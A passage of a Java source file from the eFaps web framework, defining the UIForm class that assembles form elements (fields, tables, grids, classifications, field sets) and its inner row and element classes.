text:
package org.efaps.ui.wicket.models.objects;

import java.util.ArrayDeque;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.UUID;

import org.apache.commons.collections4.IteratorUtils;
import org.apache.wicket.RestartResponseException;
import org.apache.wicket.util.io.IClusterable;
import org.apache.wicket.util.string.StringValue;
import org.efaps.admin.datamodel.Attribute;
import org.efaps.admin.datamodel.AttributeSet;
import org.efaps.admin.datamodel.Classification;
import org.efaps.admin.datamodel.Type;
import org.efaps.admin.datamodel.ui.UIValue;
import org.efaps.admin.event.EventDefinition;
import org.efaps.admin.event.EventType;
import org.efaps.admin.event.Parameter.ParameterValues;
import org.efaps.admin.event.Return;
import org.efaps.admin.event.Return.ReturnValues;
import org.efaps.admin.ui.AbstractCommand;
import org.efaps.admin.ui.AbstractUserInterfaceObject.TargetMode;
import org.efaps.admin.ui.Form;
import org.efaps.admin.ui.field.Field;
import org.efaps.admin.ui.field.FieldClassification;
import org.efaps.admin.ui.field.FieldCommand;
import org.efaps.admin.ui.field.FieldGroup;
import org.efaps.admin.ui.field.FieldHeading;
import org.efaps.admin.ui.field.FieldPicker;
import org.efaps.admin.ui.field.FieldSet;
import org.efaps.admin.ui.field.FieldTable;
import org.efaps.api.ci.UIFormProperty;
import org.efaps.db.Context;
import org.efaps.db.Instance;
import org.efaps.db.PrintQuery;
import org.efaps.db.SelectBuilder;
import org.efaps.ui.wicket.models.AbstractInstanceObject;
import org.efaps.ui.wicket.models.field.AbstractUIField;
import org.efaps.ui.wicket.models.field.IUIElement;
import org.efaps.ui.wicket.models.field.UICmdField;
import org.efaps.ui.wicket.models.field.UIField;
import org.efaps.ui.wicket.models.field.UIGroup;
import org.efaps.ui.wicket.models.field.UIPicker;
import org.efaps.ui.wicket.models.field.set.UIFieldSet;
import org.efaps.ui.wicket.models.field.set.UIFieldSetColHeader;
import org.efaps.ui.wicket.models.field.set.UIFieldSetValue;
import org.efaps.ui.wicket.models.objects.grid.UIFieldGrid;
import org.efaps.ui.wicket.pages.error.ErrorPage;
import org.efaps.ui.wicket.util.Configuration;
import org.efaps.ui.wicket.util.Configuration.ConfigAttribute;
import org.efaps.util.EFapsException;
import org.efaps.util.cache.CacheReloadException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

/**
 * Class is used to instantiate a form from eFaps into a Form with all Values
 * for the wicket webapp.
 *
 * @author The eFaps Team
 */
public class UIForm
    extends AbstractUIPageObject
    implements ISelectedRowObject, IPageObject, IWizardElement
{

    /**
     * Enum is used to differ the different elements a form can contain.
     */
    public enum ElementType
    {
        /** ELement is a Classification. */
        CLASSIFICATION,
        /** Element is a Form. */
        FORM,
        /** Element is a Heading. */
        HEADING,
        /** Element is a StructurBrowser. */
        STRUCBRWS,
        /** Element is SubForm. e.g. for classification */
        SUBFORM,
        /** Element is a table. */
        TABLE,
        /** Element is a grid. */
        GRID;
    }

    /**
     * Logging instance used in this class.
     */
    private static final Logger LOG = LoggerFactory.getLogger(UIForm.class);

    /**
     * Used for serialization.
     */
    private static final long serialVersionUID = 3026168649146801622L;

    /**
     * The instance variable stores the different elements of the Form.
     *
     * @see #getElements
     */
    private final List<Element> elements = new ArrayList<>();

    /**
     * The instance variable stores the form which must be shown.
     *
     * @see #getForm
     */
    private UUID formUUID;

    /**
     * Used to set if the form is used to upload a file.
     */
    private boolean multiPart = false;

    /**
     * Map is used to store the new values passed during the creation process
     * from the webapp.
     */
    private final Map<String, String[]> newValues = new HashMap<>();

    /**
     * Is this form classified by classification.
     */
    private boolean classified = false;

    /** The selected. */
    private List<StringValue> selected;

    /** The pageposition. */
    private PagePosition pagePosition;

    /** The ui wizard object. */
    private UIWizardObject uiWizardObject;

    /**
     * Constructor.
     *
     * @param _commandUUID UUID of the command
     * @param _instanceKey oid for this model
     * @throws CacheReloadException on error
     */
    public UIForm(final UUID _commandUUID,
                  final String _instanceKey)
        throws CacheReloadException
    {
        this(_commandUUID, _instanceKey, null);
    }

    /**
     * Constructor.
     *
     * @param _commandUUID UUID of the command
     * @param _instanceKey oid for this model
     * @param _openerId id of the opener
     * @throws CacheReloadException on error
     */
    public UIForm(final UUID _commandUUID,
                  final String _instanceKey,
                  final String _openerId)
        throws CacheReloadException
    {
        super(_commandUUID, _instanceKey, _openerId);
        if (_commandUUID != null) {
            final AbstractCommand command = super.getCommand();
            if (command == null) {
                setFormUUID(null);
            } else if (command.getTargetForm() != null) {
                setFormUUID(command.getTargetForm().getUUID());
            }
        }
    }

    /**
     * Method used to reset this UIForm.
     */
    @Override
    public void resetModel()
    {
        setInitialized(false);
        this.elements.clear();
        getHidden().clear();
    }

    /**
     * Method is used to execute the UIForm. (Fill it with data).
     */
    @Override
    public void execute()
    {
        try {
            // evaluate now to give the chance to change the mode
            if (evaluate4Instance()) {
                if (isCreateMode() || isSearchMode()) {
                    execute4NoInstance();
                } else {
                    if (getInstance() == null) {
                        execute4NoInstance();
                    } else {
                        execute4Instance();
                    }
                }
            }
        } catch (final EFapsException e) {
            throw new RestartResponseException(new ErrorPage(e));
        }
        super.setInitialized(true);
    }

    /**
     * This is a possibility to replace the current Instance for the form with
     * another one using an table evaluate esjp.
     *
     * @return true, if successful
     * @throws EFapsException on error
     */
    protected boolean evaluate4Instance()
        throws EFapsException
    {
        boolean ret = true;
        if (!isSearchMode()) {
            final List<Return> returns = this.getCommand().executeEvents(EventType.UI_TABLE_EVALUATE,
                            ParameterValues.INSTANCE, getInstance(),
                            ParameterValues.PARAMETERS, Context.getThreadContext().getParameters(),
                            ParameterValues.CLASS, this);
            for (final Return retu : returns) {
                if (retu.contains(ReturnValues.INSTANCE)) {
                    final Object object = retu.get(ReturnValues.INSTANCE);
                    if (object != null && object instanceof Instance && ((Instance) object).isValid()) {
                        setInstanceKey(((Instance) object).getOid());
                    } else {
                        UIForm.LOG.error("The esjp called by Command '{}' must return a valid instance",
                                        this.getCommand().getName());
                    }
                } else {
                    ret = false;
                }
            }
        }
        return ret;
    }

    /**
     * Method to execute the form in case that a instance is existing.
     *
     * @throws EFapsException
     *
     * @throws EFapsException on error
     */
    private void execute4Instance()
        throws EFapsException
    {
        final Set<String> altOIDSel = new HashSet<>();
        final Form form = getForm();
        // evaluate the Form to make the query
        final PrintQuery print = new PrintQuery(getInstance());
        for (final Field field : form.getFields()) {
            if (field.hasAccess(getMode(), getInstance(), this.getCommand(), getInstance())
                            && !field.isNoneDisplay(getMode())) {
                if (field.getSelect() != null) {
                    print.addSelect(field.getSelect());
                } else if (field.getAttribute() != null) {
                    print.addAttribute(field.getAttribute());
                } else if (field.getPhrase() != null) {
                    print.addPhrase(field.getName(), field.getPhrase());
                }  else if (field.getMsgPhrase() != null) {
                    print.addMsgPhrase(new SelectBuilder(getBaseSelect4MsgPhrase(field)), field.getMsgPhrase());
                }
                if (field.getSelectAlternateOID() != null) {
                    print.addSelect(field.getSelectAlternateOID());
                    altOIDSel.add(field.getSelectAlternateOID());
                }
            }
        }
        if (print.execute()) {
            if (!altOIDSel.isEmpty()) {
                final List<Instance> inst = new ArrayList<>();
                for (final String sel : altOIDSel) {
                    inst.addAll(print.getInstances4Select(sel));
                }
                checkAccessToInstances(inst);
            }
            FormElement currentFormElement = null;
            boolean addNew = true;
            UIClassification uiclass = null;
            boolean firstTable = true;
            for (final Field field : form.getFields()) {
                final Instance instance = evaluateFieldInstance(print, field);
                if (field.hasAccess(getMode(), instance, this.getCommand(), getInstance())
                                && !field.isNoneDisplay(getMode())) {
                    if (field instanceof FieldGroup) {
                        final FieldGroup group = (FieldGroup) field;
                        // in case that the first field is a group the element
                        // must be initiated
                        if (currentFormElement == null) {
                            currentFormElement = new FormElement();
                            this.elements.add(new Element(UIForm.ElementType.FORM, currentFormElement));
                            addNew = false;
                        }
                        currentFormElement.setGroupCount(group.getGroupCount());
                    } else if (field instanceof FieldTable) {
                        if (((FieldTable) field).getTargetStructurBrowserField() == null) {
                            if (isViewMode() && "GridX".equals(Configuration.getAttribute(
                                            ConfigAttribute.TABLE_DEFAULTTYPEFORM))) {
                                final UIFieldGrid grid = UIFieldGrid.get(getCommandUUID(), getPagePosition(),
                                                getInstance(), (FieldTable) field);
                                this.elements.add(new Element(UIForm.ElementType.GRID, grid));
                            } else {
                                final UIFieldTable uiFieldTable = new UIFieldTable(getCommandUUID(),
                                                getInstanceKey(), (FieldTable) field);
                                uiFieldTable.setPagePosition(getPagePosition());
                                uiFieldTable.setMode(getMode());
                                this.elements.add(new Element(UIForm.ElementType.TABLE, uiFieldTable));
                                if (firstTable) {
                                    firstTable = false;
                                } else {
                                    uiFieldTable.setFirstTable(false);
                                }
                            }
                        } else {
                            if (isViewMode() && "GridX".equals(Configuration.getAttribute(
                                            ConfigAttribute.STRUCBRWSR_DEFAULTTYPEFORM))) {
                                final UIFieldGrid grid = UIFieldGrid.get(getCommandUUID(), getPagePosition(),
                                                getInstance(), (FieldTable) field);
                                this.elements.add(new Element(UIForm.ElementType.GRID, grid));
                            } else {
                                final UIFieldStructurBrowser uiFieldStrucBrws = new UIFieldStructurBrowser(
                                            getCommandUUID(),
                                            getInstanceKey(), (FieldTable) field);
                                uiFieldStrucBrws.setMode(getMode());
                                this.elements.add(new Element(UIForm.ElementType.STRUCBRWS, uiFieldStrucBrws));
                            }
                        }
                        addNew = true;
                    } else if (field instanceof FieldHeading) {
                        this.elements.add(new Element(UIForm.ElementType.HEADING,
                                        new UIHeading((FieldHeading) field)));
                        addNew = true;
                    } else if (field instanceof FieldClassification) {
                        uiclass = UIClassification.getUIClassification(field, this);
                        this.elements.add(new Element(UIForm.ElementType.CLASSIFICATION, uiclass));
                        addNew = true;
                        this.classified = true;
                    } else {
                        if (addNew) {
                            final FormElement formElement = new FormElement().setGroupCount(currentFormElement == null
                                            ? 0 : currentFormElement.getGroupCount());
                            currentFormElement = formElement;
                            this.elements.add(new Element(UIForm.ElementType.FORM, currentFormElement));
                            addNew = false;
                        }
                        addCell2FormRow(currentFormElement, print, field);
                    }
                }
            }
            if (uiclass != null) {
                final Map<UUID, String> instanceKeys = uiclass.getClassInstanceKeys(getInstance());
                if (instanceKeys.size() > 0) {
                    if (!uiclass.isInitialized()) {
                        uiclass.execute(getInstance());
                    }
                    addClassElements(uiclass, instanceKeys);
                }
            }
        }
    }

    /**
     * Method that adds the classification forms as elements to the form by
     * walking down the tree.
     *
     * @param _uiclass the classification to be added
     * @param _instanceKeys map from uuid to instance keys
     * @throws EFapsException on error
     */
    public void addClassElements(final UIClassification _uiclass,
                                 final Map<UUID, String> _instanceKeys)
        throws EFapsException
    {
        this.elements.addAll(getClassElements(_uiclass, _instanceKeys));
    }

    /**
     * Method that removes all classifcations and afterwards adds the
     * classification forms as elements to the form by walking down the tree.
     *
     * @param _uiclass the classification to be added
     * @throws EFapsException on error
     */
    public void updateClassElements(final UIClassification _uiclass)
        throws EFapsException
    {
        // remove previous added classification forms
        final Iterator<Element> iter2 = this.elements.iterator();
        final Map<UUID, String> uuid2InstanceKey = new HashMap<>();
        while (iter2.hasNext()) {
            final IFormElement element = iter2.next().getElement();
            if (element instanceof UIFieldForm) {
                final String instanceKey = ((UIFieldForm) element).getInstanceKey();
                final TargetMode mode = ((UIFieldForm) element).getMode();
                if (instanceKey != null && !TargetMode.CREATE.equals(mode)) {
                    final UUID classUUID = ((UIFieldForm) element).getClassificationUUID();
                    uuid2InstanceKey.put(classUUID, instanceKey);
                }
                iter2.remove();
            }
        }
        addClassElements(_uiclass, uuid2InstanceKey);
    }

    /**
     * Method to add a Cell to the given Row.
     *
     * @param _formElement the form element
     * @param _query query containing the values
     * @param _field field the cell belongs to
     * @return true if the cell was actually added, else false
     * @throws EFapsException on error
     */
    private boolean addCell2FormRow(final FormElement _formElement,
                                    final PrintQuery _query,
                                    final Field _field)
        throws EFapsException
    {
        boolean ret = true;
        Attribute attr = null;
        if (_field.getAttribute() != null) {
            attr = _query.getAttribute4Attribute(_field.getAttribute());
        } else if (_field.getSelect() != null) {
            attr = _query.getAttribute4Select(_field.getSelect());
        }

        final Instance fieldInstance = evaluateFieldInstance(_query, _field);
        if (_field.isHiddenDisplay(getMode())) {
            if (_field.getAttribute() != null) {
                _query.getAttribute(_field.getAttribute());
            } else if (_field.getSelect() != null) {
                _query.getSelect(_field.getSelect());
            } else if (_field.getPhrase() != null) {
                _query.getPhrase(_field.getName());
            }
            addHidden(evaluateUIProvider(_query, _field, fieldInstance, attr));
            ret = false;
        } else {
            // fieldset
            if (_field instanceof FieldSet) {
                _formElement.addValue(evaluateFieldSet(_query, _field, fieldInstance));
            } else if (_field instanceof FieldCommand) {
                final UICmdField cell = new UICmdField(this, (FieldCommand) _field, getInstance());
                _formElement.addValue(cell);
            } else if (_field instanceof FieldPicker) {
                final UIField cell = new UIField(this, getInstance().getKey(),
                                UIValue.get(_field, attr, null).setClassObject(this).setInstance(getInstance())
                                    .setCallInstance(getInstance()));
                final UIPicker picker = new UIPicker((FieldPicker) _field, cell);
                cell.setPicker(picker);
                _formElement.addValue(cell);
            } else {
                _formElement.addValue(evaluateUIProvider(_query, _field, fieldInstance, attr));
            }
        }
        return ret;
    }

    /**
     * Method evaluates a Field and adds it to the row.
     *
     * @param _print query containing the values
     * @param _field field the cell belongs to
     * @param _fieldInstance instance of the Field
     * @param _attr attribute for the Field
     * @return the UI field
     * @throws EFapsException on error
     */
    private UIField evaluateUIProvider(final PrintQuery _print,
                                       final Field _field,
                                       final Instance _fieldInstance,
                                       final Attribute _attr)
        throws EFapsException
    {
        Object value = null;
        if (_field.getAttribute() != null) {
            value = _print.<Object>getAttribute(_field.getAttribute());
        } else if (_field.getSelect() != null) {
            value = _print.<Object>getSelect(_field.getSelect());
        } else if (_field.getPhrase() != null) {
            value = _print.getPhrase(_field.getName());
        } else if (_field.getMsgPhrase() != null) {
            value = _print.getMsgPhrase(new SelectBuilder(getBaseSelect4MsgPhrase(_field)), _field.getMsgPhrase());
        }
        final UIField uiField = new UIField(this, _fieldInstance.getKey(), UIValue.get(_field, _attr, value)
                        .setInstance(_fieldInstance)
                        .setCallInstance(getInstance())
                        .setClassObject(this));
        return uiField;
    }

    /**
     * Method evaluates a FieldSet and adds it to the row.
     *
     * @param _query query containing the values
     * @param _field field the cell belongs to
     * @param _fieldInstance instance of the FieldSet
     * @return the UI field set
     * @throws EFapsException on error
     */
    private UIFieldSet evaluateFieldSet(final PrintQuery _query,
                                        final Field _field,
                                        final Instance _fieldInstance)
        throws EFapsException
    {
        final AttributeSet attrSet = AttributeSet.find(getInstance().getType().getName(), _field.getAttribute());

        final Map<?, ?> tmp = (Map<?, ?>) _query.getAttributeSet(_field.getAttribute());

        final List<Instance> fieldins = new ArrayList<>();

        if (tmp != null) {
            fieldins.addAll(_query.getInstances4Attribute(_field.getAttribute()));
        }
        final UIFieldSet ret = new UIFieldSet(this, _fieldInstance,
                        UIValue.get(_field, getInstance().getType().getAttribute(_field.getAttribute()), null));
        ret.setMode(getMode());

        for (final String attrName : ((FieldSet) _field).getOrder()) {
            final Attribute child = attrSet.getAttribute(attrName);
            final UIFieldSetColHeader column = new UIFieldSetColHeader(_field.getLabel(), child, _field);
            ret.addHeader(column);
        }

        final Iterator<Instance> iter = fieldins.iterator();
        final Map<String, Iterator<?>> values = new HashMap<>();
        while (iter.hasNext()) {
            final Instance rowInstance = iter.next();
            ret.addRow(rowInstance);
            for (final String attrName : ((FieldSet) _field).getOrder()) {
                final Attribute child = attrSet.getAttribute(attrName);
                Iterator<?> valIter = values.get(attrName);
                if (valIter == null) {
                    final List<?> tmplist = (List<?>) tmp.get(attrName);
                    valIter = tmplist.iterator();
                    values.put(attrName, valIter);
                }
                final UIValue uiValue = UIValue.get(_field, child, valIter.hasNext() ? valIter.next() : null);
                ret.addValue(rowInstance,
                                new UIFieldSetValue(this, rowInstance.getKey(), ret, uiValue));
            }
        }
        return ret;
    }

    /**
     * Recursive method to add the children classification forms.
     *
     * @param _uiclass parent classification form
     * @param _uuid2InstanceKey mapping of instancekeys
     * @return List of elements to be added
     * @throws EFapsException on error
     */
    private List<Element> getClassElements(final UIClassification _uiclass,
                                           final Map<UUID, String> _uuid2InstanceKey)
        throws EFapsException
    {
        final List<Element> ret = new ArrayList<>();
        if (_uiclass.isSelected() && !_uiclass.isRoot()) {
            final UIFieldForm fieldform;
            if (_uuid2InstanceKey.containsKey(_uiclass.getClassificationUUID())) {
                fieldform = new UIFieldForm(getCommandUUID(),
                                _uuid2InstanceKey.get(_uiclass.getClassificationUUID()));
            } else {
                fieldform = new UIFieldForm(getCommandUUID(), _uiclass);
                if (isEditMode()) {
                    // in edit mode, if there is no classification yet, create
                    // mode must be forced
                    fieldform.setMode(TargetMode.CREATE);
                }
            }
            ret.add(new Element(ElementType.SUBFORM, fieldform));
        }
        for (final UIClassification child : _uiclass.getChildren()) {
            ret.addAll(getClassElements(child, _uuid2InstanceKey));
        }
        Collections.sort(ret, (_o1,
         _o2) -> ((UIFieldForm) _o1.getElement()).getWeight().compareTo(
                        ((UIFieldForm) _o2.getElement()).getWeight()));
        return ret;
    }

    /**
     * Method to execute the form in case of create or search.
     *
     * @throws EFapsException on error
     */
    private void execute4NoInstance()
        throws EFapsException
    {
        final Form form = getForm();
        Type type = null;
        if (isCreateMode() || isEditMode()) {
            type = getCreateTargetType();
        } else {
            final List<EventDefinition> events = this.getCommand().getEvents(EventType.UI_TABLE_EVALUATE);
            if (events != null) {
                for (final EventDefinition eventDef : events) {
                    String tmp = eventDef.getProperty("Type");
                    if (tmp == null) {
                        tmp = eventDef.getProperty("Types");
                        if (tmp != null) {
                            UIForm.LOG.warn("Event '{}' uses deprecated API for type.", eventDef.getName());
                        } else {
                            UIForm.LOG.error("Event '{}' is not type property", eventDef.getName());
                        }
                    }
                    if (tmp != null) {
                        type = Type.get(tmp);
                        break;
                    }
                }
            }
        }

        FormElement currentFormElement = null;
        boolean addNew = true;
        UIClassification uiclass = null;
        boolean firstTable = true;
        for (final Field field : form.getFields()) {
            if (field.hasAccess(getMode(), AbstractInstanceObject.getInstance4Create(type), this.getCommand(),
                            getInstance()) && !field.isNoneDisplay(getMode())) {
                if (field instanceof FieldGroup) {
                    final FieldGroup group = (FieldGroup) field;
                    // in case that the first field is a group the element must be initiated
                    if (currentFormElement == null) {
                        currentFormElement = new FormElement();
                        this.elements.add(new Element(UIForm.ElementType.FORM, currentFormElement));
                        addNew = false;
                    }
                    currentFormElement.setGroupCount(group.getGroupCount());
                } else if (field instanceof FieldHeading) {
                    this.elements.add(new Element(UIForm.ElementType.HEADING, new UIHeading((FieldHeading) field)));
                    addNew = true;
                } else if (field instanceof FieldClassification) {
                    uiclass = UIClassification.getUIClassification(field, this);
                    this.elements.add(new Element(UIForm.ElementType.CLASSIFICATION, uiclass));
                    this.classified = true;
                    addNew = true;
                } else if (field instanceof FieldTable) {
                    if (((FieldTable) field).getTargetStructurBrowserField() == null) {
                        final UIFieldTable uiFieldTable = new UIFieldTable(getCommandUUID(), getInstanceKey(),
                                                                           (FieldTable) field);
                        this.elements.add(new Element(UIForm.ElementType.TABLE, uiFieldTable));
                        if (firstTable) {
                            firstTable = false;
                        } else {
                            uiFieldTable.setFirstTable(false);
                        }
                    } else {
                        if ("GridX".equals(Configuration.getAttribute(ConfigAttribute.STRUCBRWSR_DEFAULTTYPEFORM))) {
                            final UIFieldGrid grid = UIFieldGrid.get(getCommandUUID(), getPagePosition(),
                                            getInstance(), (FieldTable) field);
                            this.elements.add(new Element(UIForm.ElementType.GRID, grid));
                        } else {
                            final UIFieldStructurBrowser uiFieldStrucBrws = new UIFieldStructurBrowser(getCommandUUID(),
                                        getInstanceKey(), (FieldTable) field);
                            this.elements.add(new Element(UIForm.ElementType.STRUCBRWS, uiFieldStrucBrws));
                        }
                    }
                    addNew = true;
                } else {
                    if (addNew) {
                        final FormElement formElement = new FormElement().setGroupCount(currentFormElement == null ? 0
                                        : currentFormElement.getGroupCount());
                        currentFormElement = formElement;
                        this.elements.add(new Element(UIForm.ElementType.FORM, currentFormElement));
                        addNew = false;
                    }
                    final Attribute attr;
                    if (field.getAttribute() == null && field.getSelect() != null && type != null) {
                        final PrintQuery print = new PrintQuery(AbstractInstanceObject.getInstance4Create(type));
                        print.addSelect(field.getSelect());
                        print.dryRun();
                        attr = print.getAttribute4Select(field.getSelect());
                    } else {
                        attr = type != null ? type.getAttribute(field.getAttribute()) : null;
                    }

                    if (field.isHiddenDisplay(getMode())) {
                        final UIField uiField = new UIField(this, null, UIValue.get(field, attr, null)
                                        .setClassObject(this)
                                        .setInstance(getInstance()).setCallInstance(getInstance()));
                        addHidden(uiField);
                    } else {
                        final IUIElement cell;
                        if (field instanceof FieldSet) {
                            cell = new UIFieldSet(this, getInstance(), UIValue.get(field, attr, null)
                                                .setClassObject(this)
                                                .setInstance(getInstance())
                                                .setCallInstance(getInstance()));
                            if (type == null) {
                                ((UIFieldSet) cell).addHeader(new UIFieldSetColHeader(field.getLabel(), null, field));
                            } else {
                                final AttributeSet set = AttributeSet.find(type.getName(), field.getAttribute());
                                for (final String attrName : ((FieldSet) field).getOrder()) {
                                    final Attribute child = set.getAttribute(attrName);
                                    final UIFieldSetColHeader column = new UIFieldSetColHeader(field.getLabel(), child,
                                                    field);
                                    ((UIFieldSet) cell).addHeader(column);
                                }
                            }
                        } else if (field instanceof FieldCommand) {
                            cell = new UICmdField(this, (FieldCommand) field, getInstance());
                        } else if (field instanceof FieldPicker) {
                            cell = new UIField(this, null, UIValue.get(field, attr, null).setClassObject(this)
                                            .setInstance(getInstance()).setCallInstance(getInstance()));
                            final UIPicker picker = new UIPicker((FieldPicker) field, (AbstractInstanceObject) cell);
                            ((UIField) cell).setPicker(picker);
                        } else {
                            cell = new UIField(this, null, UIValue.get(field, attr,
                                                super.isPartOfWizardCall() ? getValue4Wizard(field.getName()) : null)
                                                .setClassObject(this)
                                                .setInstance(AbstractInstanceObject.getInstance4Create(type))
                                                .setCallInstance(getInstance()));
                        }
                        currentFormElement.addValue(cell);
                    }
                }
            }
        }
        if (uiclass != null) {
            final Set<Classification> clazzes = this.getCommand().getTargetCreateClassification();
            for (final Classification clazz : clazzes) {
                uiclass.addSelectedUUID(clazz.getUUID());
                Classification parent = clazz.getParentClassification();
                while (parent != null) {
                    uiclass.addSelectedUUID(parent.getUUID());
                    parent = parent.getParentClassification();
                }
            }
            if (!uiclass.isInitialized()) {
                uiclass.execute(null);
            }
            this.elements.addAll(getClassElements(uiclass, new HashMap<UUID, String>()));
        }
    }

    /**
     * Method to get the type that will be created by a form. A method must be
     * used so it can be overwritten.
     *
     * @return Type to be created
     * @throws CacheReloadException on error
     */
    protected Type getCreateTargetType()
        throws CacheReloadException
    {
        return this.getCommand().getTargetCreateType();
    }

    /**
     * Method to get the Form from eFaps using the instance variable
     * {@link #formUUID}.
     *
     * @return Form from eFaps
     * @throws CacheReloadException on error
     */
    public Form getForm()
        throws CacheReloadException
    {
        return Form.get(this.formUUID);
    }

    /**
     * This is the getter method for the instance variable {@link #formUUID}.
     *
     * @return value of instance variable {@link #formUUID}
     */
    public UUID getUUID()
    {
        return this.formUUID;
    }

    /**
     * This is the getter method for the instance variable {@link #formUUID}.
     *
     * @return value of instance variable {@link #formUUID}
     */
    public UUID getFormUUID()
    {
        return this.formUUID;
    }

    /**
     * This is the setter method for the instance variable {@link #formUUID}.
     *
     * @param _formUUID the formUUID to set
     * @throws CacheReloadException on error
     */
    public void setFormUUID(final UUID _formUUID)
        throws CacheReloadException
    {
        this.formUUID = _formUUID;
        if (_formUUID != null) {
            this.multiPart = "true".equalsIgnoreCase(getForm().getProperty(UIFormProperty.MULTI_PART));
        }
    }

    /**
     * This is the getter method for the instance variable {@link #elements}.
     *
     * @return value of instance variable {@link #elements}
     */
    public final List<Element> getElements()
    {
        return Collections.unmodifiableList(this.elements);
    }

    /**
     * This is the getter method for the instance variable {@link #fileUpload}.
     *
     * @return value of instance variable {@link #fileUpload}
     */
    public boolean isMultiPart()
    {
        return this.multiPart;
    }

    /**
     * This is the setter method for the instance variable {@link #fileUpload}.
     *
     * @param _fileUpload the fileUpload to set
     */
    public void setMultiPart(final boolean _fileUpload)
    {
        this.multiPart = _fileUpload;
    }

    /**
     * This is the getter method for the instance variable {@link #newValues}.
     *
     * @return value of instance variable {@link #newValues}
     */
    public Map<String, String[]> getNewValues()
    {
        return this.newValues;
    }

    /**
     * Getter method for instance variable {@link #classified}.
     *
     * @return value of instance variable {@link #classified}
     */
    public boolean isClassified()
    {
        return this.classified;
    }

    /**
     * Getter method for the instance variable {@link #selected}.
     *
     * @return value of instance variable {@link #selected}
     */
    @Override
    public List<StringValue> getSelected()
    {
        return this.selected;
    }

    /**
     * Setter method for instance variable {@link #selected}.
     *
     * @param _selected value for instance variable {@link #selected}
     */
    public void setSelected(final List<StringValue> _selected)
    {
        this.selected = _selected;
    }

    @Override
    public PagePosition getPagePosition()
    {
        final PagePosition ret;
        if (this.pagePosition == null) {
            //TODO remove
            UIForm.LOG.error("MISSING PAGEPOSITION!!!");
            ret = PagePosition.CONTENT;
        } else {
            ret = this.pagePosition;
        }
        return ret;
    }

    /**
     * Setter method for instance variable {@link #pagePosition}.
     *
     * @param _pagePosition value for instance variable {@link #pagePosition}
     * @return the UI form
     */
    public UIForm setPagePosition(final PagePosition _pagePosition)
    {
        this.pagePosition = _pagePosition;
        return this;
    }

    @Override
    public boolean isWizardCall()
    {
        return getUIWizardObject() != null;
    }

    @Override
    public UIWizardObject getUIWizardObject()
    {
        return this.uiWizardObject;
    }

    @Override
    public IWizardElement setUIWizardObject(final UIWizardObject _uiWizardObject)
    {
        this.uiWizardObject = _uiWizardObject;
        return this;
    }

    /**
     * Class is used as store for one Row in the UIForm.
     */
    public static class FormRow
        implements IClusterable
    {

        /**
         * Used for serialization.
         */
        private static final long serialVersionUID = 1L;

        /**
         * Stores the UIFormCell contained in this FormRow.
         */
        private final ArrayDeque<IUIElement> values = new ArrayDeque<>();

        /**
         * Stores if the row must be spanned.
         */
        private int rowSpan = 0;

        /**
         * Add a UIFormCell to this FormRow.
         *
         * @param _uiElement the ui element
         */
        public void add(final IUIElement _uiElement)
        {
            if (_uiElement instanceof AbstractUIField
                            && ((AbstractUIField) _uiElement).getFieldConfiguration().getRowSpan() > 1) {
                this.rowSpan = ((AbstractUIField) _uiElement).getFieldConfiguration().getRowSpan();
                this.values.add(_uiElement);
            } else if (isRowSpan()) {
                this.rowSpan--;
                final IUIElement current = this.values.getLast();
                final UIGroup group;
                if (current instanceof UIGroup) {
                    group = (UIGroup) current;
                } else {
                    group = new UIGroup();
                    this.values.addLast(group);
                }
                group.add((AbstractUIField) _uiElement);
            } else {
                this.values.add(_uiElement);
            }
        }

        /**
         * Getter method for the instance variable {@link #rowSpan}.
         *
         * @return value of instance variable {@link #rowSpan}
         */
        public boolean isRowSpan()
        {
            return this.rowSpan > 0;
        }

        /**
         * Getter method for the instance variable {@link #values}.
         *
         * @return value of instance variable {@link #values}
         */
        public List<IUIElement> getValues()
        {
            return IteratorUtils.toList(this.values.iterator());
        }

        /**
         * Method to get the group count of this row.
         *
         * @return size of the values
         */
        public int getGroupCount()
        {
            return this.values.size();
        }

        /**
         * Getter method for the instance variable {@link #rowSpan}.
         *
         * @return value of instance variable {@link #rowSpan}
         */
        public int getRowSpan()
        {
            return this.rowSpan;
        }

        /**
         * Setter method for instance variable {@link #rowSpan}.
         *
         * @param _rowSpan value for instance variable {@link #rowSpan}
         * @return the form row
         */
        public FormRow setRowSpan(final int _rowSpan)
        {
            this.rowSpan = _rowSpan;
            return this;
        }
    }

    /**
     * Class represents a Element of Type Form used in a Form.
     */
    public static class FormElement
        implements IFormElement, IClusterable
    {

        /**
         * Used for serialization.
         */
        private static final long serialVersionUID = 1L;

        /**
         * Stores the FormRows for this FormElement.
         */
        private final ArrayDeque<FormRow> rowModels = new ArrayDeque<>();

        /** The group count. */
        private int groupCount = 0;

        /**
         * This is the getter method for the instance variable
         * {@link #rowModels}.
         *
         * @return value of instance variable {@link #rowModels}
         */
        public Iterator<FormRow> getRowModels()
        {
            return this.rowModels.iterator();
        }

        /**
         * Adds the value.
         *
         * @param _uiElement the ui element
         * @return the form element
         */
        public FormElement addValue(final IUIElement _uiElement)
        {
            if (this.groupCount < 1 && !this.rowModels.isEmpty() && !this.rowModels.getLast().isRowSpan()) {
                this.rowModels.addLast(new FormRow());
            } else {
                this.groupCount--;
            }
            if (this.rowModels.isEmpty()) {
                this.rowModels.addLast(new FormRow());
            }
            this.rowModels.getLast().add(_uiElement);
            return this;
        }

        /**
         * Sets the group count.
         *
         * @param _groupCount the new group count
         * @return the form element
         */
        public FormElement setGroupCount(final int _groupCount)
        {
            if (_groupCount > 1) {
                this.rowModels.addLast(new FormRow());
            }
            this.groupCount = _groupCount;
            return this;
        }

        /**
         * Gets the group count.
         *
         * @return the group count
         */
        public int getGroupCount()
        {
            return this.groupCount;
        }
    }

    /**
     * Class represent one Element in a UIForm.
     */
    public static class Element
        implements IClusterable
    {

        /**
         * Used for serialization.
         */
        private static final long serialVersionUID = 1L;

        /**
         * ElementType of this Element.
         */
        private final ElementType type;

        /**
         * Model of this Element.
         */
        private final IFormElement element;

        /**
         * Constructor setting the instance variables.
         *
         * @param _type ElementType of this Element
         * @param _formElement Model of this Element
         */
        public Element(final ElementType _type,
                       final IFormElement _formElement)
        {
            this.type = _type;
            this.element = _formElement;
        }

        /**
         * Getter method for the instance variable {@link #type}.
         *
         * @return value of instance variable {@link #type}
         */
        public ElementType getType()
        {
            return this.type;
        }

        /**
         * Getter method for the instance variable {@link #element}.
         *
         * @return value of instance variable {@link #element}
         */
